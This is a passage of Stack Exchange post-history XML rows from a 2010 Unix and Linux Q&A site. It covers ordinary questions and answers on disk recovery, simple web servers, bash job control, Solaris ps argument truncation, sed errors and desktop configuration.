  <row Id="8506" PostHistoryTypeId="2" PostId="3930" RevisionGUID="067aedeb-b5d5-4191-8f03-c1fb989df23b" CreationDate="2010-11-11T13:47:13.820" UserId="885" Text="It looks like the way in which your disk is failing is so bad that the kernel becomes unable to keep communicating with the disk.&#xD;&#xA;&#xD;&#xA;There are probably a lot of errors concerning the disk in `/var/log/kern.log`. If you post its contents here, people might have tips to help you recover more. (Post only the part from the first disk error, presumably triggered during the `ddrescue -n`, to the point where the kernel deactivates `sda`; if there's a long and repetitive bit in the middle, it's ok to cut the repetitions.) But don't expect miracles, there's a chance that the last 400GB are simply beyond recovery without spending thousands of dollars on a professional service.&#xD;&#xA;" />
  <row Id="8507" PostHistoryTypeId="2" PostId="3931" RevisionGUID="41c2e6bf-4981-468a-ad83-d5b07fee9f07" CreationDate="2010-11-11T13:48:46.833" UserId="1327" Text="I'd like to host the contents of a folder at `http://localhost:PORT/`. &#xD;&#xA;&#xD;&#xA;What different methods are avialable to me? &#xD;&#xA;&#xD;&#xA;I know about,&#xD;&#xA;&#xD;&#xA;     python -m SimpleHttpServer&#xD;&#xA;&#xD;&#xA;but I'm looking for alternative methods.&#xD;&#xA;" />
  <row Id="8508" PostHistoryTypeId="1" PostId="3931" RevisionGUID="41c2e6bf-4981-468a-ad83-d5b07fee9f07" CreationDate="2010-11-11T13:48:46.833" UserId="1327" Text="How do I start a webserver in unix" />
  <row Id="8509" PostHistoryTypeId="3" PostId="3931" RevisionGUID="41c2e6bf-4981-468a-ad83-d5b07fee9f07" CreationDate="2010-11-11T13:48:46.833" UserId="1327" Text="éserverà" />
  <row Id="8510" PostHistoryTypeId="5" PostId="3782" RevisionGUID="656a4a28-d65a-46d6-85e9-c4ea5ec5b4fd" CreationDate="2010-11-11T14:00:45.020" UserId="2119" Comment="added 110 characters in body; edited tags" Text="By default Kate inserts 2 spaces on Tab press but switches to real tabs starting from the fourth Tab level. Can I disable this and use spaces always, regardless to the depth?&#xD;&#xA;&#xD;&#xA;I want this because I use Kate to code Scala, and using space pairs instead of tabs is a convention there." />
  <row Id="8511" PostHistoryTypeId="6" PostId="3782" RevisionGUID="656a4a28-d65a-46d6-85e9-c4ea5ec5b4fd" CreationDate="2010-11-11T14:00:45.020" UserId="2119" Comment="added 110 characters in body; edited tags" Text="éeditorsàékateàéindentationàétabulationà" />
  <row Id="8512" PostHistoryTypeId="2" PostId="3932" RevisionGUID="300e562c-80d8-4ccd-8e5a-28ad34b09147" CreationDate="2010-11-11T14:26:30.593" UserId="1170" Text="When I start a graphical application from a terminal running bash, that application is somehow connected to that bash session. For example, when the applications dumps some text it will appear in the bash session it is started from. Also, some applications will get closed when i close the terminal using the close button, but not when i close the terminal by exiting the bash session using the exit command or CTRL+D.&#xD;&#xA;&#xD;&#xA;How is a graphical application started from a bash session connected to that bash session?&#xD;&#xA;&#xD;&#xA;bonus question: How can I inspect this connection? probably also manipulate?" />
  <row Id="8513" PostHistoryTypeId="1" PostId="3932" RevisionGUID="300e562c-80d8-4ccd-8e5a-28ad34b09147" CreationDate="2010-11-11T14:26:30.593" UserId="1170" Text="How is a graphical application started from a bash session connected to that bash session?" />
  <row Id="8514" PostHistoryTypeId="3" PostId="3932" RevisionGUID="300e562c-80d8-4ccd-8e5a-28ad34b09147" CreationDate="2010-11-11T14:26:30.593" UserId="1170" Text="ébashà" />
  <row Id="8515" PostHistoryTypeId="2" PostId="3933" RevisionGUID="64e7f3d2-7fdb-4c2f-be9f-59b60703bcae" CreationDate="2010-11-11T14:27:30.947" UserId="2341" Text="You might have a look at: http://www.ntop.org&#xD;&#xA;&#xD;&#xA;Enjoy!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;~ tim" />
  <row Id="8516" PostHistoryTypeId="2" PostId="3934" RevisionGUID="09ed6cdb-71df-4736-8b7e-5302c5d36aab" CreationDate="2010-11-11T14:30:16.733" UserId="298" Text="Is there a way to generate a full process listing in solaris, without truncated lines?  I've found the -f flag in the man page:  &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;  -f                  Generates a full listing. (See below for&#xD;&#xA;                      significance  of columns in a full list-&#xD;&#xA;                      ing.)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;As well as the -l flag&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;  -l                  Generates a long listing. (See below.)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;So, those both seem to do what I want, however, further down in the display section, I find this: &#xD;&#xA;&#xD;&#xA;&lt;pre&gt; &#xD;&#xA; args                    The command with all its arguments as  a&#xD;&#xA;                         string.  The implementation may truncate&#xD;&#xA;                         this value to the  field  width;  it  is&#xD;&#xA;                         implementation-dependent   whether   any&#xD;&#xA;                         further   truncation   occurs.   It   is&#xD;&#xA;                         unspecified     whether    the    string&#xD;&#xA;                         represented is a version of the argument&#xD;&#xA;                         list  as  it  was  passed to the command&#xD;&#xA;                         when it started, or is a version of  the&#xD;&#xA;                         arguments as they may have been modified&#xD;&#xA;                         by the application. Applications  cannot&#xD;&#xA;                         depend  on  being  able  to modify their&#xD;&#xA;                         argument list and having that  modifica-&#xD;&#xA;                         tion  be  reflected in the output of ps.&#xD;&#xA;                         The Solaris  implementation  limits  the&#xD;&#xA;                         string  to  80  bytes; the string is the&#xD;&#xA;                         version of the argument list as  it  was&#xD;&#xA;                         passed to the command when it started.&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Which basically says the output is going to be truncated and theirs nothing I can do about it.  So, I'm coming here.  Surely other people have run into this problem and maybe even have a way around it.  I'm guessing ps can't do it and so I need to use other tools to do this.  Is that accurate? " />
  <row Id="8517" PostHistoryTypeId="1" PostId="3934" RevisionGUID="09ed6cdb-71df-4736-8b7e-5302c5d36aab" CreationDate="2010-11-11T14:30:16.733" UserId="298" Text="How can I get a full process list in solaris, without truncated lines?" />
  <row Id="8518" PostHistoryTypeId="3" PostId="3934" RevisionGUID="09ed6cdb-71df-4736-8b7e-5302c5d36aab" CreationDate="2010-11-11T14:30:16.733" UserId="298" Text="ésolarisà" />
  <row Id="8519" PostHistoryTypeId="2" PostId="3935" RevisionGUID="d488ce95-b297-4f44-b526-53213dcf8ad7" CreationDate="2010-11-11T14:41:06.987" UserId="1339" Text="There is no such thing like a &quot;system' webserver in unix and different &quot;methods&quot;.&#xD;&#xA;&#xD;&#xA;You can install software on your system which contains a simple webserver and use it or not.&#xD;&#xA;&#xD;&#xA;`python -m SimpleHttpServer` just loads the SimpleHttpServer module, which contains a basic webserver.&#xD;&#xA;&#xD;&#xA;Something simliar exists for Perl, just have a look at CPAN: http://search.cpan.org/dist/HTTP-Server-Simple/&#xD;&#xA;&#xD;&#xA;&quot;Simple&quot; is a solution for Java: http://www.simpleframework.org/&#xD;&#xA;&#xD;&#xA;The same can be really easy achived with JavaScript and nodejs: http://nodejs.org/api.html , see the section about HTTP.&#xD;&#xA;&#xD;&#xA;Another solution would be to do it yourself: HTTP is a really simple protocol, when it comes to only serve some static files. To get /foo/bar your browser will request it with:&#xD;&#xA;&#xD;&#xA;    GET /foo/bar HTTP/1.1&#xD;&#xA;&#xD;&#xA;The reply should be in the following form:&#xD;&#xA;&#xD;&#xA;    HTTP/1.0 200 OK&#xD;&#xA;    Last-Modified: Tue, 10 Jan 2010 11:11:11 GMT&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;    &#xD;&#xA;    YOUR CONTENT&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    HTTP/1.1 404 Not Found&#xD;&#xA;    Last-Modified: Tue, 10 Jan 2010 11:11:11 GMT&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;    &#xD;&#xA;    YOUR 404 ERROR PAGE&#xD;&#xA;&#xD;&#xA;Include the Last-Modified header to enable caching of the ressources.&#xD;&#xA;It should be possible to write a minimal implementation of this in a few lines of code. Tie it to a port and you will have your webserver up and running. Use inetd or netcat to bind it to your IP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8520" PostHistoryTypeId="2" PostId="3936" RevisionGUID="381b62c4-ae9a-4804-ba0b-45ab299bb807" CreationDate="2010-11-11T14:41:51.307" UserId="2150" Text="netstat can give you usage statistics on a per socket basis." />
  <row Id="8521" PostHistoryTypeId="2" PostId="3937" RevisionGUID="714eb2bd-2613-4650-baef-927e1a13bb26" CreationDate="2010-11-11T14:44:53.707" UserId="2150" Text="Your shell starts these programs as child processes.  If you run pstree you can see these relations.  I don't know if/how you can manipulate it." />
  <row Id="8522" PostHistoryTypeId="5" PostId="3935" RevisionGUID="3553c333-0e9e-46af-907f-631b2c766ed6" CreationDate="2010-11-11T14:46:17.097" UserId="1339" Comment="added 326 characters in body" Text="There is no such thing like a &quot;system' webserver in unix and different &quot;methods&quot;.&#xD;&#xA;&#xD;&#xA;You can install software on your system which contains a simple webserver and use it or not.&#xD;&#xA;&#xD;&#xA;`python -m SimpleHttpServer` just loads the SimpleHttpServer module, which contains a basic webserver.&#xD;&#xA;&#xD;&#xA;Something simliar exists for Perl, just have a look at CPAN: http://search.cpan.org/dist/HTTP-Server-Simple/&#xD;&#xA;&#xD;&#xA;&quot;Simple&quot; is a solution for Java: http://www.simpleframework.org/&#xD;&#xA;&#xD;&#xA;The same can be really easy achived with JavaScript and nodejs: http://nodejs.org/api.html , see the section about HTTP.&#xD;&#xA;&#xD;&#xA;Another solution would be to do it yourself: HTTP is a really simple protocol, when it comes to only serve some static files. To get /foo/bar your browser will request it with:&#xD;&#xA;&#xD;&#xA;    GET /foo/bar HTTP/1.1&#xD;&#xA;&#xD;&#xA;The reply should be in the following form:&#xD;&#xA;&#xD;&#xA;    HTTP/1.0 200 OK&#xD;&#xA;    Last-Modified: Tue, 10 Jan 2010 11:11:11 GMT&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;    &#xD;&#xA;    YOUR CONTENT&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    HTTP/1.1 404 Not Found&#xD;&#xA;    Last-Modified: Tue, 10 Jan 2010 11:11:11 GMT&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;    &#xD;&#xA;    YOUR 404 ERROR PAGE&#xD;&#xA;&#xD;&#xA;Include the Last-Modified header to enable caching of the ressources.&#xD;&#xA;It should be possible to write a minimal implementation of this in a few lines of code. Tie it to a port and you will have your webserver up and running. Use inetd or netcat to bind it to your IP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: Here is a simple shellscript which does exactly this job. It also supports generating an index for the folders and 404 error handling:&#xD;&#xA;&#xD;&#xA; - SWS Manpage:&#xD;&#xA;   http://prd4.wynn.com:8080/src/sws.8.html&#xD;&#xA; - SWS Source:&#xD;&#xA;   http://prd4.wynn.com:8080/src/sws.txt&#xD;&#xA; - SWS Project Page:&#xD;&#xA;   http://prd4.wynn.com:8080/README.html" />
  <row Id="8523" PostHistoryTypeId="6" PostId="3931" RevisionGUID="f6f686a1-3a3c-46c5-bea6-b4f5ce3a14ff" CreationDate="2010-11-11T14:46:40.577" UserId="1339" Comment="edited tags" Text="éwebserverà" />
  <row Id="8524" PostHistoryTypeId="2" PostId="3938" RevisionGUID="f1f1eb8b-d9dc-4737-80de-4949defd7b2a" CreationDate="2010-11-11T15:11:32.707" UserId="885" Text="The kernel is not required to keep track of command line arguments. When a process is started through the `execve` call, the kernel must copy the arguments into the process memory (so that they will be available as `argv` in a C program, for example). After that, the kernel can discard the memory used to store the initial command line arguments. The process is allowed to overwrite its copy of the arguments. So there may simply be no trace of the arguments.&#xD;&#xA;&#xD;&#xA;Some unix variants do keep a copy of the arguments in some form. Solaris exposes some data in `/proc/$pid`. As of OpenSolaris 2009.06, the only trace of the arguments is in `/proc/$pid/psinfo`, where they are concatenated with spaces in between (so you can't distinguish between `foo &quot;one&quot; &quot;two&quot;` and `foo &quot;one two&quot;`) and the resulting string is truncated to 80 bytes. This field in `/proc/$pid/psinfo` is what `ps` prints in the `args` column.&#xD;&#xA;&#xD;&#xA;It's possible that there is some other interface where you can get the full arguments passed to `execve`. But I doubt it, because I would have expected it to go through `/proc` and to be accessible via the `ps` utility.&#xD;&#xA;&#xD;&#xA;By the way, the `-f` and `-l` options control what fields are printed, not whether the fields are truncated to some width.&#xD;&#xA;" />
  <row Id="8525" PostHistoryTypeId="6" PostId="3932" RevisionGUID="c277a15b-3b09-4b81-befe-eb3a7d32c301" CreationDate="2010-11-11T15:21:30.977" UserId="1339" Comment="edited tags" Text="ébashàéshellàéprocessömanagementà" />
  <row Id="8526" PostHistoryTypeId="5" PostId="3931" RevisionGUID="311c606d-61d7-4404-ad28-0bd8e4283295" CreationDate="2010-11-11T15:23:59.697" UserId="73" Comment="edited body" Text="I'd like to host the contents of a folder at `http://localhost:PORT/`. &#xD;&#xA;&#xD;&#xA;What different methods are available to me? &#xD;&#xA;&#xD;&#xA;I know about,&#xD;&#xA;&#xD;&#xA;     python -m SimpleHttpServer&#xD;&#xA;&#xD;&#xA;but I'm looking for alternative methods.&#xD;&#xA;" />
  <row Id="8527" PostHistoryTypeId="2" PostId="3939" RevisionGUID="200cefd2-99d6-439e-a4f8-414b6905b167" CreationDate="2010-11-11T15:34:25.270" UserId="885" Text="The application is connected in two ways: to bash, and to the terminal.&#xD;&#xA;&#xD;&#xA;The connection to the terminal is that the standard streams (stdin, stdout and stderr) of the application are connected to the terminal. Typical GUI applications don't use stdin or stdout, but they might print errors to stderr.&#xD;&#xA;&#xD;&#xA;The connection to the shell is that if you started the application with `foo &amp;`, it remains known to the shell as a job, as explained in [Difference between nohup, disown and &amp;](http://unix.stackexchange.com/questions/3886/difference-between-nohup-disown-and). When you close the terminal, the shell receives a `SIGHUP`, which it propagates to its jobs. When you type `exit` in the shell, it disowns the jobs beforehand (this is configurable to some extent).&#xD;&#xA;&#xD;&#xA;You can severe the shell connection with the `disown` built-in. You can't severe the terminal connection, at least not without using underhand methods (using a debugger) that could crash the program.&#xD;&#xA;" />
  <row Id="8528" PostHistoryTypeId="2" PostId="3940" RevisionGUID="0d513c89-4e36-4031-a914-642c95685f7a" CreationDate="2010-11-11T15:49:12.040" UserId="2623" Text="I'm trying to run a command to remove require_once from php files from [here][1] (code below) but I am getting the error: sed: can't read -: No such file or directory&#xD;&#xA;&#xD;&#xA;I am in the correct folder, what's the problem?&#xD;&#xA;&#xD;&#xA;    find . -name '*.php' -not -wholename '*/Loader/Autoloader.php' \&#xD;&#xA;      -not -wholename '*/Application.php' -print0 | \&#xD;&#xA;      xargs -0 sed --regexp-extended --in-place 's/(require_once)/\/\/ \1/g'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://framework.zend.com/manual/en/performance.classloading.html#performance.classloading.striprequires.sed" />
  <row Id="8529" PostHistoryTypeId="1" PostId="3940" RevisionGUID="0d513c89-4e36-4031-a914-642c95685f7a" CreationDate="2010-11-11T15:49:12.040" UserId="2623" Text="Debian sed: can't read " />
  <row Id="8530" PostHistoryTypeId="3" PostId="3940" RevisionGUID="0d513c89-4e36-4031-a914-642c95685f7a" CreationDate="2010-11-11T15:49:12.040" UserId="2623" Text="ébashàédebianàésedà" />
  <row Id="8531" PostHistoryTypeId="5" PostId="3940" RevisionGUID="2a78bc5b-1c0a-4d7a-becc-704a1566a30b" CreationDate="2010-11-11T15:52:17.770" UserId="73" Comment="added 8 characters in body" Text="I'm trying to run a command to remove `require_once` from php files from [here][1] (code below), but I am getting the error:&#xD;&#xA;&#xD;&#xA;&gt; sed: can't read -: No such file or directory&#xD;&#xA;&#xD;&#xA;I am in the correct folder; what's the problem?&#xD;&#xA;&#xD;&#xA;    find . -name '*.php' -not -wholename '*/Loader/Autoloader.php' \&#xD;&#xA;      -not -wholename '*/Application.php' -print0 | \&#xD;&#xA;      xargs -0 sed --regexp-extended --in-place 's/(require_once)/\/\/ \1/g'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://framework.zend.com/manual/en/performance.classloading.html#performance.classloading.striprequires.sed" />
  <row Id="8532" PostHistoryTypeId="2" PostId="3941" RevisionGUID="b0022a84-6de1-4b1d-8260-8b6c627b4b11" CreationDate="2010-11-11T16:01:11.810" UserId="443" Text="For some reason my top and bottom panels have disappeared. I can't right-click and add a new panel either. I tried executing gnome-panel from the terminal, rebooting, but no luck. Any idea how to recover these panels?" />
  <row Id="8533" PostHistoryTypeId="1" PostId="3941" RevisionGUID="b0022a84-6de1-4b1d-8260-8b6c627b4b11" CreationDate="2010-11-11T16:01:11.810" UserId="443" Text="Top and bottom panels disappeared in Ubuntu 10.10 (Gnome)" />
  <row Id="8534" PostHistoryTypeId="3" PostId="3941" RevisionGUID="b0022a84-6de1-4b1d-8260-8b6c627b4b11" CreationDate="2010-11-11T16:01:11.810" UserId="443" Text="éubuntuàégnomeàégnomeöpanelà" />
  <row Id="8535" PostHistoryTypeId="5" PostId="3543" RevisionGUID="7f345b7b-27e2-4632-af8d-46a50449738a" CreationDate="2010-11-11T16:02:03.533" UserId="653" Comment="add what was found in qdbus" Text="Sometimes, I use KDE, and one of the things that I like the most in KDE 4 is the activity concept. At work, it is very useful because I often work on several different projects during one day. Switching to another activity enables me to change the widgets, so that I can have access to folders related to the current project, for instance.&#xD;&#xA;&#xD;&#xA;I've decided to use this concept in the shell, so I have coded a small bash function called &quot;switch&quot;, which sets aliases useful for the current project, e.g. `alias cdwww=~/public_html/current_project/www` , and so on.&#xD;&#xA;&#xD;&#xA;**My question is** : Is there a way I can synchronise KDE activities with shell activities, that is calling 'switch myproj' on every opened terminal when switching to activity 'myproj' through KDE and *vice versa* (bonus question)?&#xD;&#xA;&#xD;&#xA;**Another question** : how do I make my newly created aliases work in all consoles? Is there a way I can detect every opened terminal in konsole or in gnome-terminal and execute my function in it?&#xD;&#xA;&#xD;&#xA;EDIT: here is the switch function, located at the end of my .bashrc file, feel free to comment:&#xD;&#xA;&#xD;&#xA;    function switch() {&#xD;&#xA;    &#xD;&#xA;        if [ ! -d ~/.switch ]&#xD;&#xA;        then&#xD;&#xA;            mkdir ~/.switch&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if [ ! -f ~/.switch/proj.save ]&#xD;&#xA;        then&#xD;&#xA;            touch ~/.switch/proj.save&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        echo &quot;$1&quot; &gt; ~/.switch/proj.save&#xD;&#xA;    &#xD;&#xA;        case $1 in&#xD;&#xA;        meddispar )&#xD;&#xA;            echo &quot;Switching to meddispar...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/onp/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/onp/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;cdwww &amp;&amp; php bin/php/ezcache.php --clear-all --purge &amp;&amp; cd -&quot;&#xD;&#xA;        ;;&#xD;&#xA;        darjeeling )&#xD;&#xA;            echo &quot;Switching to darjeeling...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/darjeeling/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/darjeeling/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;rm -rf ~/public_html/darjeeling/www/var/cache/*&quot;&#xD;&#xA;        ;;&#xD;&#xA;        * )&#xD;&#xA;            echo &quot;'$1'? WTF?&quot;&#xD;&#xA;            rm ~/.switch/proj.save&#xD;&#xA;        ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;    if [ -f ~/.switch/proj.save ]&#xD;&#xA;    then&#xD;&#xA;         switch `cat ~/.switch/proj.save`&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;As per Gilles' answer, here is what I have got:&#xD;&#xA;&#xD;&#xA;    greg@tiny :) ~ &gt; qdbus |ack ctivity&#xD;&#xA;     org.kde.ActivityController-1949&#xD;&#xA;     org.kde.ActivityManager&#xD;&#xA;    greg@tiny :) ~ &gt; qdbus org.kde.ActivityManager &#xD;&#xA;    /&#xD;&#xA;    /ActivityManager&#xD;&#xA;    /MainApplication&#xD;&#xA;    /StatusNotifierWatcher&#xD;&#xA;    /connections&#xD;&#xA;    /kbuildsycoca&#xD;&#xA;    /kded&#xD;&#xA;    /kxkb&#xD;&#xA;    /modules&#xD;&#xA;    /modules/StatusNotifierWatcher&#xD;&#xA;    /modules/activitymanager&#xD;&#xA;    /modules/device_automounter&#xD;&#xA;    /modules/dnssdwatcher&#xD;&#xA;    /modules/favicons&#xD;&#xA;    /modules/freespacenotifier&#xD;&#xA;    /modules/keyboard&#xD;&#xA;    /modules/khotkeys&#xD;&#xA;    /modules/kpackagekitd&#xD;&#xA;    /modules/kremotecontroldaemon&#xD;&#xA;    /modules/ktimezoned&#xD;&#xA;    /modules/kwrited&#xD;&#xA;    /modules/nepomuksearchmodule&#xD;&#xA;    /modules/networkmanagement&#xD;&#xA;    /modules/networkstatus&#xD;&#xA;    /modules/powerdevil&#xD;&#xA;    /modules/randrmonitor&#xD;&#xA;    /modules/remotedirnotify&#xD;&#xA;    /modules/solidautoeject&#xD;&#xA;    /modules/statusnotifierwatcher&#xD;&#xA;    /org&#xD;&#xA;    /org/freedesktop&#xD;&#xA;    /org/freedesktop/PowerManagement&#xD;&#xA;    /org/freedesktop/PowerManagement/Inhibit&#xD;&#xA;    /org/kde&#xD;&#xA;    /org/kde/networkmanagement&#xD;&#xA;    /org/kde/networkmanagement/Activatable&#xD;&#xA;    /org/kde/networkmanagement/Activatable/10&#xD;&#xA;    /org/kde/networkmanagement/Activatable/11&#xD;&#xA;    /org/kde/networkmanagement/Activatable/12&#xD;&#xA;    /org/kde/networkmanagement/Activatable/13&#xD;&#xA;    /org/kde/networkmanagement/Activatable/14&#xD;&#xA;    /org/kde/networkmanagement/Activatable/15&#xD;&#xA;    /org/kde/networkmanagement/Activatable/16&#xD;&#xA;    /org/kde/networkmanagement/Activatable/17&#xD;&#xA;    /org/kde/networkmanagement/Activatable/2&#xD;&#xA;    /org/kde/networkmanagement/Activatable/3&#xD;&#xA;    /org/kde/networkmanagement/Activatable/4&#xD;&#xA;    /org/kde/networkmanagement/Activatable/5&#xD;&#xA;    /org/kde/networkmanagement/Activatable/6&#xD;&#xA;    /org/kde/networkmanagement/Activatable/7&#xD;&#xA;    /org/kde/networkmanagement/Activatable/8&#xD;&#xA;    greg@tiny :) ~ &gt; qdbus org.kde.ActivityManager /ActivityManager&#xD;&#xA;    method QStringList org.kde.ActivityManager.ActivitiesForResource(QString uri)&#xD;&#xA;    method QString org.kde.ActivityManager.ActivityIcon(QString id)&#xD;&#xA;    method QString org.kde.ActivityManager.ActivityName(QString id)&#xD;&#xA;    signal void org.kde.ActivityManager.ActivityNameChanged(QString id, QString name)&#xD;&#xA;    method QString org.kde.ActivityManager.AddActivity(QString name)&#xD;&#xA;    method QStringList org.kde.ActivityManager.AvailableActivities()&#xD;&#xA;    method QString org.kde.ActivityManager.CurrentActivity()&#xD;&#xA;    signal void org.kde.ActivityManager.CurrentActivityChanged(QString id)&#xD;&#xA;    method bool org.kde.ActivityManager.IsBackstoreAvailable()&#xD;&#xA;    method void org.kde.ActivityManager.RegisterActivityController(QString service)&#xD;&#xA;    method void org.kde.ActivityManager.RegisterResourceWindow(uint wid, QString uri)&#xD;&#xA;    method QStringList org.kde.ActivityManager.RegisteredActivityControllers()&#xD;&#xA;    method void org.kde.ActivityManager.RemoveActivity(QString id)&#xD;&#xA;    method void org.kde.ActivityManager.SetActivityIcon(QString id, QString name)&#xD;&#xA;    method void org.kde.ActivityManager.SetActivityName(QString id, QString name)&#xD;&#xA;    method bool org.kde.ActivityManager.SetCurrentActivity(QString id)&#xD;&#xA;    method void org.kde.ActivityManager.UnregisterResourceWindow(uint wid, QString uri)&#xD;&#xA;    method QString org.kde.ActivityManager._allInfo()&#xD;&#xA;    method QString org.kde.ActivityManager._serviceIteration()&#xD;&#xA;    method QDBusVariant org.freedesktop.DBus.Properties.Get(QString interface_name, QString property_name)&#xD;&#xA;    method QVariantMap org.freedesktop.DBus.Properties.GetAll(QString interface_name)&#xD;&#xA;    method void org.freedesktop.DBus.Properties.Set(QString interface_name, QString property_name, QDBusVariant value)&#xD;&#xA;    method QString org.freedesktop.DBus.Introspectable.Introspect()&#xD;&#xA;    greg@tiny :) ~ &gt; qdbus org.kde.ActivityController-1949 /ActivityController &#xD;&#xA;    method void org.kde.ActivityController.ActivityAdded(QString id)&#xD;&#xA;    method void org.kde.ActivityController.ActivityRemoved(QString id)&#xD;&#xA;    method void org.kde.ActivityController.ResourceWindowRegistered(uint wid, QString uri)&#xD;&#xA;    method void org.kde.ActivityController.ResourceWindowUnregistered(uint wid, QString uri)&#xD;&#xA;    method QDBusVariant org.freedesktop.DBus.Properties.Get(QString interface_name, QString property_name)&#xD;&#xA;    method QVariantMap org.freedesktop.DBus.Properties.GetAll(QString interface_name)&#xD;&#xA;    method void org.freedesktop.DBus.Properties.Set(QString interface_name, QString property_name, QDBusVariant value)&#xD;&#xA;    method QString org.freedesktop.DBus.Introspectable.Introspect()&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8536" PostHistoryTypeId="2" PostId="3942" RevisionGUID="744c49e1-6c26-485d-95e5-5c8c71b65ca8" CreationDate="2010-11-11T16:12:44.180" UserId="2241" Text="you could try&#xD;&#xA;&#xD;&#xA;    pargs &lt;PID&gt;&#xD;&#xA;&#xD;&#xA;this gives you a list of all arguments&#xD;&#xA;&#xD;&#xA;or else use an other ps. If run as root (or any user with enough privileges for that matter)&#xD;&#xA;&#xD;&#xA;    /usr/ucb/ps auxvv&#xD;&#xA;&#xD;&#xA;will give you all arguments. Its part of SUNWscpu, &quot;Source Compatibility, (Usr)&quot;&#xD;&#xA;&#xD;&#xA;HTH&#xD;&#xA;Marcel" />
  <row Id="8537" PostHistoryTypeId="2" PostId="3943" RevisionGUID="7136f864-4bbc-4604-972f-63e90adeb12f" CreationDate="2010-11-11T16:19:33.717" UserId="1660" Text="The error seems to indicate that sed tries to read from *stdin*. Have you tried just the *find* part to see if it returns any file?" />
  <row Id="8538" PostHistoryTypeId="2" PostId="3944" RevisionGUID="2f61be9f-4589-42af-b113-e455e369104a" CreationDate="2010-11-11T16:22:07.583" UserId="1779" Text="What version of `sed` do you have?  POSIX sed doesn't understand double-dash options, neither does minised, but GNU sed does.&#xD;&#xA;&#xD;&#xA;For something more portable (and IMO nicer), try `sed -i '/require_once/s![[:space:]]*!&amp;// !'`." />
  <row Id="8539" PostHistoryTypeId="2" PostId="3945" RevisionGUID="fa5eac43-2c2e-4e74-9466-96c1a99ed6b0" CreationDate="2010-11-11T16:48:06.270" UserId="443" Text="Turns out that uninstalling Evolution also removed gnome-panel (?!?). I rebooted in recovery mode, then dropped into a netroot shell (terminal with net access) and installed gnome-panel via apt and the panels returned on the next normal boot.&#xD;&#xA;&#xD;&#xA;Hope this helps someone else." />
  <row Id="8540" PostHistoryTypeId="5" PostId="3931" RevisionGUID="eef8c12b-c7f7-4253-8880-4f07a72d526b" CreationDate="2010-11-11T17:31:44.670" UserId="1327" Comment="added 97 characters in body; edited tags" Text="I'd like to make the contents of a folder available at `http://localhost:PORT/`, temporarily. A very basic http server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I already know about,&#xD;&#xA;&#xD;&#xA;     $ python -m SimpleHttpServer &#xD;&#xA;&#xD;&#xA;or ( this seems like the new way )&#xD;&#xA;&#xD;&#xA;     $ python -m http.server &#xD;&#xA;&#xD;&#xA;but I'm looking for alternate command-line methods.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8541" PostHistoryTypeId="6" PostId="3931" RevisionGUID="eef8c12b-c7f7-4253-8880-4f07a72d526b" CreationDate="2010-11-11T17:31:44.670" UserId="1327" Comment="added 97 characters in body; edited tags" Text="écommandölineàéwebserverà" />
  <row Id="8542" PostHistoryTypeId="5" PostId="3940" RevisionGUID="e3a7ceae-19aa-447b-b163-376a3b9f63d4" CreationDate="2010-11-11T17:34:32.320" UserId="2623" Comment="added 786 characters in body" Text="I'm trying to run a command to remove `require_once` from php files from [here][1] (code below), but I am getting the error:&#xD;&#xA;&#xD;&#xA;&gt; sed: can't read -: No such file or directory&#xD;&#xA;&#xD;&#xA;I am in the correct folder; what's the problem?&#xD;&#xA;&#xD;&#xA;    find . -name '*.php' -not -wholename '*/Loader/Autoloader.php' \&#xD;&#xA;      -not -wholename '*/Application.php' -print0 | \&#xD;&#xA;      xargs -0 sed --regexp-extended --in-place 's/(require_once)/\/\/ \1/g'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://framework.zend.com/manual/en/performance.classloading.html#performance.classloading.striprequires.sed&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;If I run:&#xD;&#xA;&#xD;&#xA;    find . -name '*.php' -not -wholename '*/Loader/Autoloader.php' \&#xD;&#xA;      -not -wholename '*/Application.php' -print0&#xD;&#xA;&#xD;&#xA;I get:&#xD;&#xA;&#xD;&#xA;&gt; find: invalid predicate `-wholename'&#xD;&#xA;&#xD;&#xA;I tried this and it returned a list of all the files:&#xD;&#xA;&#xD;&#xA;    find . -name '*.php' -not -name 